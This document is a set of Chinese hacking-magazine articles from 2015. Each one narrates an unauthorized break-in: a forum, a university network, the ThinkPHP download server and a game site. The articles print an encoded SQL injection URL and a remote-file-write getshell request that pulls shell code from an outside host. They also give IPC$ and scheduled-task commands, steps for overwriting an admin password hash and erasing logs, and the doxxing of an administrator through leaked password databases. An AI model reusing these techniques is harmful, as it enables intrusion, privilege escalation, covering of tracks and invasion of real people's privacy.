好在还有一个站，不然就无从下手了，随手在域名后面加了个 robots.txt，如图 1-2-2： 

 

图  1-2-2 
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一下兴奋了，这不织梦嘛，再看下版本，www.xxx.com/data/admin/ver.txt，版本是 20121030，

有戏，再看下后台在不在，www.xxx.com/dede，如图 1-2-3： 

 
图  1-2-3 

后台也在，版本够老，应该没难度。拿着之前爆的修改管理员的漏洞一顿乱试（没想到找工

具，全手工了，悲剧），进后台了，想着直接从后台拿 shell，就进模块--辅助插件里的文件

管理器，进了 plus 目录，好家伙，直接有个 90sec.php，省事了，如图 1-2-4： 

 
图  1-2-4 

直接上菜刀（心想这事简单了，跨目录，找个配置文件，改数据库，打完收工，可是），如

图 1-2-5： 

 

图  1-2-5 

不让跨目录，你妹，好吧，那我提个权再跨总行了吧，执行命令看个内核，如图 1-2-6： 
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图  1-2-6 

心中顿时一万头草泥马呼啸而过，后续试了不少办法，未果。 

(无奈小菜就会这么点东西，大牛勿笑) 

0x2 简单社工 

旁站未果，只能硬着头皮从主站下手，没 0day 怎么办。找管理员猜密码。（我能告诉你很多

管理员密码就设个 admin 或者 123456 嘛），在主站置顶的帖子一顿乱翻，找到了两个管理

员账户，N 个版主，超级版主账户。挨个猜了一遍，竟然还有每个 ip 只能尝试 5 次密码的

限制，你妹，开个代理继续试。试的手都软了也没试一个，人品不行啊。那就社工吧，找了

一个管理员账户名相对小众的，这样百度，google 起来没压力。 

PS:现在好像没有给力的社工库啊。连个密码泄露都没地方查，好在安全宝可以参考一下 

http://lucky.anquanbao.com/，如图 1-2-7： 

 

图  1-2-7 

技术社区，应该是 csdn 了，大型论坛？莫非天涯，好在当年库泄露最火的时候本地保存了

这两个库，本地果然查到了，如图 1-2-8： 

 

图  1-2-8 

然后拿去论坛试了一下，尼玛，两个密码都不对，又试了各种组合都不行。 

好吧，管理，你赢了。 

那就试试其他的，用密码成功登了百度，还有谷歌邮箱，如图 1-2-9： 
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图  1-2-9 

好小子，这哥们一直在找 seo 的工作，还拿到了他的简历。 

东北大学的研究生，1982 年的。不行，那就找回密码看看有邮箱，那试试论坛的找回密码

功能呗。 

提示拥有站点设置权限的用户不能用取回密码功能，真是悲剧，如图 1-2-10： 

 

图  1-2-10 



《安全参考》——信息安全整合型期刊    官方网站：www.hackcto.com    杂志编号：HACKCTO-201507-31 

第 97 页/共 122 页   官方微博：http://t.qq.com/hackcto    出版日期：每月 15 日    电子杂志：免费 

拿到邮箱也没用，社工这条路也走不下去了。后续又简单社了其他几个账户，都没什么结果。 

0x3 柳暗花明 

小菜能想到的也就这几个手段，无奈啊。也不知怎的，手贱就在旁站传了个大马（不要问我

为什么，我也不知道怎么想的传了），然后发现大马竟然可以执行命令，如图 1-2-11： 

 

图  1-2-11 

内核 2.6.18-308.1.1.el5，看了一下，有 2.6.18的提权 exp，试试吧，反正也没其他办法 

大马转发，如图 1-2-12： 

 

图  1-2-12 

看了下权限，如图 1-2-13： 

 
图  1-2-13 

然后更手贱的就输了个列目录的命令，然后手一抖，写成之前没法跨的目录，如图 1-2-14: 

 
图  1-2-14 

尼玛，这是什么情况，怎么纯天然的跨目录，刚刚菜刀不是给跨吗？ 

到现在也没想明白，菜刀跟转发的权限不都是一样的，怎么一个让跨，一个不让跨， 

（后来发现大马的命令执行一样可以列目录，早知道大马可以，也不用费半天劲去社工了，

浪费了大把大把的时间啊。）. 

难道菜刀用的函数被禁了？？？大牛们，求解，剩下的就简单了，cat 下 Discuz X3 配置文件

（根目录/config/config_global.php），如图 1-2-15： 
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图  1-2-15 

拿到数据库连接信息，成功连到主站数据库。然后就是删帖工作了，到站点找到帖子，根据

图片网址里的相对路径换成绝对路径，用命令 rm 之。然后找到用户表（pre_ucenter_members）

里管理员的账户。什么，账户的 hash 加了 salt，破不开 md5？ 

谁让你破了，直接拿着盐，按照md5(md5(123456).salt)的方式构造一个md5，然后把它 update

给管理员账户，就可以拿着 123456大摇大摆的管理论坛了。管理完了，别忘了再把原来的

hash 给人家 update 回去，什么，之前你没存？O，shit，菜刀，右键，文本格显示，能看到

你的数据库查询记录。如果这个也没有，那么我也没办法了。然后有素质的别忘了擦擦屁股，

什么登陆时间，登陆 ip，还有个什么运行记录，就是之前的多次猜密码的日志（这个好像不

在数据库里，在 data\log 目录里） 

不多说了，到此结束。 

PS：图片打码，如有漏点，敬请手下下留情，谢谢。 

（全文完）责任编辑：鲨影_sharow 

第14节 渗透某大学，激情六杀！ 

作者：Str0ng 

来自：法客论坛 – F4ckTeam 

网址：http://team.f4ck.org/ 

0x00 前言 

0x01 闲的蛋疼撸个站，想来想去就近撸一个大学吧 

0x02 心不死转战 C 段站 

0x03  Jwc 已撸 Nic 你离死也不远了！ 

0x04 扫描出货 

0x05 一些东西和后记 

0x06 感谢 

0x00 写在前言 

一年前的我为法客周年庆写了一篇渗透我们学校的文章获得了 37 多页的回复，但是给我带

来太多的苦恼 2cto lcx.cc 91ri 都转载了我的文章，转载的同时因为没有打好码，我渗透的目

标饱受那些大黑阔们的摧残，直到我联系到他们叫他们 delete 掉文章，然后我开启疯狂模
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式把学校的补丁给打了杀软给装了。真是一次闹剧。而今天给大家带来的是另外一所大学。

没啥目的，只为法客 2周年，写起来让大家乐呵乐呵。技术不好，过程写的很轻松，运气很

好，如有不对欢迎斧正。 

0x01 闲的蛋疼撸个站，想来想去就近撸一个大学吧 

破壳一扫，随便打开简直吓尿，如图 1-3-1： 

 

图  1-3-1 

有先人来过了，FUCK，如图 1-3-2： 

 
图  1-3-2 

看来有 webshell，http://www.0dayboy.com/1.asp，扔进自己的爆破工具就去吃饭了。回来发

现毛都没，拿着试试看的心里去找了下后门，如图 1-3-3： 
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图  1-3-3 

想到现在的黑阔们都会把别人版权改成自己的，然后就把大黑阔蓝蓝的名字去掉搜索关键字，

关键字版 ASP 木马(黑色版本)，如图 1-3-4： 

 
图  1-3-4： 

一翻百度还真尼玛有后门，哈哈哈，如图 1-3-5： 

 

图  1-3-5 

啪~就进去了，哈哈笑尿无比的运气啊，如图 1-3-6： 
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图 1-3-6 

既然这样，直接上杀器提权~似乎很轻松啊= =，如图 1-3-7： 

 
图  1-3-7 

组件开放。现在的大学真尼玛松，网管到底在想什么-v-。 

看了下打了的补丁，如图 1-3-8： 

 
图  1-3-8 

278 个补丁提权很有希望~再看下进程，如图 1-3-9： 
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图  1-3-9 

日瞬间蛋疼了，有 360，不管了。找基友拿了个免杀 PR、巴西烤肉试试，如图 1-3-10： 

 

图  1-3-10 

操，直接被拦截了。执行巴西烤肉直接不行，看了下补丁略小试试 ms11080，直接从法客工

具包里撸出来用，如图 1-3-11、1-3-12： 

 
图  1-3-11 

 
图  1-3-12 

搞定哈哈。扫描了下开放端口，如图 1-3-13： 
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图  1-3-13 

3389 是开着的注册表里读了读 RDP 的端口，如图 1-3-14： 

 
图  1-3-14 

确定是 3389，打开 mstsc 输入网址卧槽,悲剧发生了，如图 1-3-15： 

 

图  1-3-15 

提示错误，立即使用 webshell 用转发试试 可惜转发不出来。不管了关了他防火墙再说~可

是。不能执行这些命令怎么办呢-。-，虽然有 administrator 的权限自己左思右想了大半天~ 对

了！ 用 IPC$ !!因为看到 135 和 445 端口都还开放着。 

net use \\127.0.0.1\ipc$ /user:a\USER PASSWORD，验证帐号和密码，执行成功后，如图 1-3-16： 

 

图  1-3-16 
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dir \\127.0.0.1\c$，读取列表，如图 1-3-17： 

 

图 1-3-17 

上传自己的 bat 或者程序，net time \\127.0.0.1 查看系统时间，如图 1-3-18： 

 

图  1-3-18 

at \\127.0.0.1  time C:\RECYCLER\1.bat，添加事件倒计时，如图 1-3-19： 

 
图  1-3-19 

我的 bat 里是关闭系统防火墙和重启的一个很简单的批处理，成功的执行后重启还是不行，

然后用远控也无法上线。 

实在无解了，询问了好朋友，宝-宝@ FF0000，如图 1-3-20： 

 

图  1-3-20 

好吧，立即就去 ipconfig /all 查看了下网卡地址，如图 1-3-21： 
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图  1-3-21 

拿超级 ping 试了试，如图 1-3-22： 

 

图  1-3-22 

我累个大操一个网站两个 IP 这是毛原因？？？一个是 211.x.x.x 一个是 218.x.x.x 而且 C

段分的很细。255.255.255.192 。和朋友聊了聊推断出来可能有 DMZ 或者路由，无奈，当

时间已经快 1 点多基友都不在只好下线谁觉。 

0x02 心不死转战 C 段站 

之前提早很晚了就睡了，第二天心不死 继续想办法 打开 webshell 后无聊翻文件夹，发现，

如图 1-3-23： 

 
图  1-3-23 



《安全参考》——信息安全整合型期刊    官方网站：www.hackcto.com    杂志编号：HACKCTO-201507-31 

第 106 页/共 122 页   官方微博：http://t.qq.com/hackcto    出版日期：每月 15 日    电子杂志：免费 

有个 Flashxp 一个 FTP 工具，顿时就下载了，打开一看哈哈瞬间天都亮了，如图 1-3-24： 

 

图  1-3-24 

逐一的进行了链接，一个很小的 tips:选中目标，反键，如图 1-3-25： 

 
图  1-3-25 

复制到剪贴板，该站点的帐号密码就导出来了了~ 相信很多人知道的吧，哈哈找到一个，如

图 1-3-26： 

 
图  1-3-26 
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发现有权限上线直接上了一个 webshell，由此又拿下了一个 webshell，如图 1-3-27： 

 
图  1-3-27 

拿到 webhell 后直接 cmd 执行了 ping 8.8.8.8 尼玛我怕又被做上策略了。 

如图 1-3-28： 

 
图  1-3-28 

发现是通的，然后就开始了一段愉快的提权之旅-。-，也没多试别的。 

直接 ms11080 拿下（有时间 C 段里的机子由一个网关维护极有可能是同一时间安装补丁做

防护的，所以我也没多想别的直接用了这个 EXP）。 

如图 1-3-29： 

 
图  1-3-29 

再次愉快的拿下，如图 1-3-30： 
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图  1-3-30 

这时朋友发来一张图我瞬间就明了了，真不愧是学设备出身的啊，如图 1-3-31： 

 
图  1-3-31 

看了这图也就懂了一点，目标站的 IP 是由一个交换机做的策略两个 IP 地址分他们的学校的

内网跟对外的外网，学校内网用 211 即可访问，外网则是用 218 访问。这么一分析就得出，

要撸他们学校的内网就找一台对公网开放的 211 段的，主机开 VPN 跳进内网！正好我刚刚

拿到的这台 jwc 便是。上传了一个开 vpn 的脚本 然后就链接上了-。-，需要这脚本的可以

联系我拿。接入 VPN 后 就相当于处于他们的内网了，这样就可以更直接的扫描或者拿服务

器了，如图 1-3-32： 

 
图  1-3-32 

这不直接拿到 0x01 里的主机了，然后开主机 ping 外网 IP。果然不能出不能进，如图 1-3-33： 
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图  1-3-33 

无奈只好抓出hash做成密码表晚上睡觉的时候跑扫描工具用。同时把 jwc的hash也给抓了。 

0x03Jwc 已撸 Nic，你离死也不远了！ 

Nic 是网络中心的缩写，我想拿下他们的服务器看看有没啥好东西，打开看了下全是伪静态

的页面，没办法只好自己构造了几个关键字去搜索了下，如图 1-3-34： 

 
图  1-3-34 

找到了是科讯的，而且版本不是很高直接去乌云上找，找到了一个 EXP。 

http://www.wooyun.org/bugs/wooyun-2010-07419。 

备份百度网盘地址：http://pan.baidu.com/s/1Fxoec。 

/plus/ajaxs.asp?action=GetRelativeItem&key=search%2525%2527%2529%2520%2575%256e%2569%256f%256e

%2520%2573%2565%256c%2565%2563%2574%2520%2531%252c%2532%252c%2575%2573%2565%2572%256

e%2561%256d%2565%252b%2527%257c%2527%252b%2570%2561%2573%2573%2577%256f%2572%2564%25
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20%2566%2572%256f%256d%2520%254b%2553%255f%2541%2564%256d%2569%256e%2500 

找到了，如图 1-3-35： 

 

图  1-3-35 

默认的后台直接进行了 getshell，至于怎么 getshell 直接去百度了，忒简单了，我就不写了，

我就复制下百度来的吧，未对提交参数判断，导致可以写任意文件到服务器上„ 

Wap/Plus/PhotoVote.asp 14 – 23 

Dim KS:Set KS=New PublicCls 

Dim ID:ID = Replace(KS.S(“ID”),” “,”") 

Dim ChannelID:ChannelID=KS.G(“ChannelID”) 

If ChannelID=”" Then ChannelID=2 

If KS.G(“LocalFileName”)<>”" And KS.G(“RemoteFileUrl”)<>”" Then 

If KS.SaveBeyondFile(KS.G(“LocalFileName”),KS.G(“RemoteFileUrl”))= True Then 

Response.write KS.G(“LocalFileName”)’错误提示 

End If 

End If 

‘================================================== 

‘过程名：SaveBeyondFile 

‘作 用：保存远程的文件到本地 

‘参 数：LocalFileName —— 本地文件名 

‘参 数：RemoteFileUrl —— 远程文件 URL 

‘================================================== 

Function SaveBeyondFile(LocalFileName,RemoteFileUrl) 

On Error Resume Next 

SaveBeyondFile=True 

dim Ads,Retrieval,GetRemoteData 

Set Retrieval = Server.CreateObject(“Microsoft.XMLHTTP”) 

With Retrieval 

.Open “Get”, RemoteFileUrl, False, “”, “” 

.Send 

If .Readystate<>4 then 

SaveBeyondFile=False 

Exit Function 

End If 

GetRemoteData = .ResponseBody 

End With 

Set Retrieval = Nothing 

Set Ads = Server.CreateObject(“Adodb.Stream”) 

With Ads 

.Type = 1 

.Open 

.Write GetRemoteData 



《安全参考》——信息安全整合型期刊    官方网站：www.hackcto.com    杂志编号：HACKCTO-201507-31 

第 111 页/共 122 页   官方微博：http://t.qq.com/hackcto    出版日期：每月 15 日    电子杂志：免费 

.SaveToFile server.MapPath(LocalFileName),2 

.Cancel() 

.Close() 

End With 

If Err.Number<>0 Then 

Err.Clear 

SaveBeyondFile=False 

Exit Function 

End If 

Set Ads=nothing 

End Function 

上面的代码中这几句： 

If KS.G(“LocalFileName”)<>”" And KS.G(“RemoteFileUrl”)<>”" Then 

If KS.SaveBeyondFile(KS.G(“LocalFileName”),KS.G(“RemoteFileUrl”))= True Then 

Response.write KS.G(“LocalFileName”)’错误提示 

End If 

End If 

KS.G(“LocalFileName”)和 KS.G(“RemoteFileUrl”) 

仅仅是判断是否为空并过滤一些 SQL 字符然后就写文件了！登陆后访问： 

http://www.t00ls.net/Wap/Plus/PhotoVote.asp?LocalFileName=cc.asp&RemoteFileUrl=http://w

ww.bksec.net/1.txt 

成功会在 Wap/Plus 下写入 cc.asp,并返回文件名，其中的 1.txt 为 shell 代码。 

提权直接上免杀免参数的 PR 的，撸下了尼玛三台了，360 卫视貌似直接被无视了，如图

1-3-36、1-3-37： 

 
图  1-3-36 

 
图  1-3-37 
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翻了翻东西有一些远程 RDP 的记然后抓出 hash 列成了表。 

0x04 扫描出货 

收集和组合的密码表扔进 HSCAN、X-Scan 直接扫了，别看工具老，效果还是很好的，特别

是有收集的密码本、弱口令、组合过的密码，5 分钟扫到了 3 台 时间问题没怎么继续扫了，

下面上张图，如图 1-3-38： 

 

图  1-3-38 

内网渗透抓 hash 获取密码就是一个连锁的效应，就比如我此次渗透中遇到的一个 

密码：2013*sb*Dsb1，然后我又在其他的服务器里抓到另外一个密码：2009*sbDsb1 由此我

进行了推断并且自己组合了一些密码，效果不错还拿到了一个服务器密码是 2007*sbDsb1。 

0x05 一些东西和后记 

此次渗透总共花费了断断续续 5 天拿下该校的 WWW、NIC、JWC、党建和一个数据库服务

器，当然和一年之前的我写的同是渗透学校的比可没那么精彩了，因为那时候是学生时代现

在是上班党了。没那么多时间，从一个小突破口开始进行的，很多技术手段没写，例如说钓

鱼，放置后门，社工，嗅探，等等，此次渗透因为学校的服务器很弱，我也没强加上面，拿

到就成，未放置远控，清理了自己的脚印。还有刚刚在整理工具的时候发现一个极好的工具 

2013 年 1 月份的时候下的我居然没用上那就是 Sr.exe。如果我结合 0x01 的方法 用 ms11080

拿下带有 administrator 权限的帐号后用 Sr.exe 可以使用参数执行，执行方法就是 sr.exe User 

Pass "whoami"„.具体在法客工具包 windows 提权里有一个 SR，你们自己可以看看。好了，

今天就写到这里，我会对该学校进行持续渗透直到我对他不感兴趣。我也会讲继续渗透的结

果记录起来和大家分享。 

0x06 感谢 

Route(F4ck team) 

el4pse(和谐小组) 

Evi1m0(FF0000)  

宝-宝(FF0000) 

haxsscker(C0de Play&F4ck Team)  

Tkby(F4ck Team) 

Ersc (Anying.org) 
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虽然文章写的很轻松简陋，过程的复杂只有你们懂，谢谢你们。 

Anying Team  FF000 Team   F4ck Team 

（全文完）责任编辑：鲨影_sharow 

第15节 渗透 Thinkphp 源码包服务器 

作者：疯子 

来自：法客论坛 – F4ckTeam 

网址：http://team.f4ck.org/ 

前言：渗透 thinkphp 完全是因为无聊之余搞了搞，可是没想到的还搞进去了，呵呵，首先

在一个群里面发现别人发了一个 thinkphp 的连接，打开是一个压缩包，800 多 MB 就下载了 

可是下载速度我不敢恭维啊，几 KB 几十 KB 每秒，呵呵，如图 1-1-1： 

 
图  1-1-1 

正文：下了四个小时才下载完，下载了那么久，当然要看看里面的东西，源码，呵呵这安全

运维可真厉害，在里面找到了一个 config，看看好东西，果然有干货，如图 1-1-2： 

 
图  1-1-2 

尝试外链这 mysql 数据，连接不了，然后继续往下面看，如图 1-1-3： 
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图  1-1-3 

发现了邮件配置，拿着这个登陆试一下，如图 1-1-4： 

 
图  1-1-4 

成功了，看了一下里面没什么东西，多半是发送注册邮件什么的，继续往下看会有的，如图 

1-1-5： 

  
图  1-1-5 

我和我的小伙伴们都惊呆了，确定可以登陆吗？试一下不就知道了，如图 1-1-6： 
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图  1-1-6 

真不知道说什么了，这是一个礼物，大礼物。可是 FTP 的 IP 和官网的 IP 不是一个，所以就

翻了一下没找到什么东西。然后查询了一下 IP 上绑定的域名发现有一个 thinkphp 的下载域

名在里面：down.thinkphp.cn，如图 1-1-7： 

 

图  1-1-7 

我就不多写过程了，而在我去 thinkphp 的网站上下载包的时候发现包是在 down 这个服务器

上面，如图 1-1-8： 

 

图  1-1-8 
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如果我把里面的包加上后门或者在你一次升级重要版本的时候加上后门，那样岂不是很多站

都会被挂上 shell？当然，做为一个猪猪侠的崇拜者，我是不会干这事的，如图 1-1-9： 

 
图  1-1-9 

一个 shell 算什么？最后还提权了这台服务器，利用的是 mysql root 权限直接 UDF 提权，如

图 1-1-10： 

 

图  1-1-10 

最后在邮箱中也找回了一个管理员的密码，好不容易找到的管理员邮箱啊，开始第一个没找
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回来，一直没发送邮件，最后这个才找回成功，可以直接编辑 N 多东西，下载包也可以更

新，如图 1-1-11： 

 

图  1-1-11 

在这里我终于明白了，为什么经常会有大型 CMS 存在后门了。 

（全文完）责任编辑：随性仙人掌 

第16节 一次多思路的渗透 

作者：a584518 

来自：法客论坛 – F4ckTeam 

网址：http://team.f4ck.org/ 

不知不觉，法客二周年了，说来惭愧，我是今年年中才来法客的，刚来就被这里的氛围感染

了，现在法客过生日了，我也送一份礼物，为论坛添几块砖！目标站是一个小游戏的网站，

url 后面加一个 robots.txt，如图 3-2-1： 

图  3-2-1 
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竟然是 dede 的，让我情何以堪，看看版本吧，如图 3-2-2： 

 
图  3-2-2 

20110325 很低，应该是有戏的，试试 dede 的那个 plus/search.php 注入漏洞，如图 3-2-3： 

 
图  3-2-3 

竟然直接爆出的账号密码，你好歹也是一个游戏站，安全居然做成这样，我内牛满面了。得 

到账号 admin，密码解密为 admin123!! 

继续找找后台吧，加了一个 dede，如图 3-2-4： 

 

图  3-2-4 

这算什么情况，随后我又去试了试 dede 爆后台的那个，不过网站过滤了错误回显，自然那 

个方法也就行不通了，直接 getshell 也不行，我蛋疼了。 
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放弃从来不是我的作风，来跟烟继续。 

网址后面加 dede 没有报错，加其他的东西会爆 404，说明存在 dede 这个目录，那么就是做

了限制了，我突然想起 dede 好像可以跨目录，思路有了就来实践吧。 

网址后面加上 include/dialog/select_media.php?f=form1.murl 看效果，如图 3-2-5： 

 
图  3-2-5 

刚才已经确定存在 dede 这个目录了，就直接确定，出现了登录界面，如图 3-2-6： 

 

图  3-2-6 

用刚才的账号密码登录成功，跳到别的目录了，如图 3-2-7： 

 
图  3-2-7 

我们再把 url 后面那一串字符去掉，换成 dede，就直接跳到网站后台了，如图 3-2-8： 
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图  3-2-8 

接下来就拿 shell 吧，不过服务器上貌似装了狗，我各种穿各种被杀，小弟手上没什么免杀

的马，平时也没有收藏这个的习惯，写了一个一句话上去，惊喜发现没被杀，但是菜刀连接

被拦截，无奈找基友要了一个过狗的菜刀，才算是把这个 shell 拿下，如图 3-2-9： 

图  3-2-9 

这种奇葩我也是第一次见，这也说明了思路在渗透中的重要性，你这个站这么坑，我要不提

了你真是对不起我的努力，简单看了下网站的系统，如图 3-2-10： 
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图  3-2-10 

阿帕奇 2.4.3 php 版本为 5.4.7，window 系统 apache 服务 php 脚本引擎，这种组合我总是

觉得怪怪的，印象中阿帕奇+php 大多都是 linux 的虚拟终端看看，我顿时吓尿了，如图 3-2-11， 

图 3-2-12： 

 

图  3-2-11 

 

图  3-2-12 

竟然直接是 system 权限，直接添加用户，蛋疼的出现了什么密码策略，如图 3-2-13： 

图  3-2-13 

我可没什么耐性去配置一个密码出来，query user 了一下，看到管理员在线，直接用闪电小

子的 getpass 抓管理员的密码，为什么是闪电小子的，因为闪电小子就在我对面坐着呢，嘿

嘿，抓到了管理员的密码了 k9kdj3xpxy92wls 果然蛋疼，我随便去掉了一位，添加成功，服

务器拿下，如图 3-2-14：
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图  3-2-14 

还是老话，渗透中，思路才是最重要的，祝法客越来越好！ 

（全文完）责任编辑：Rem1x 
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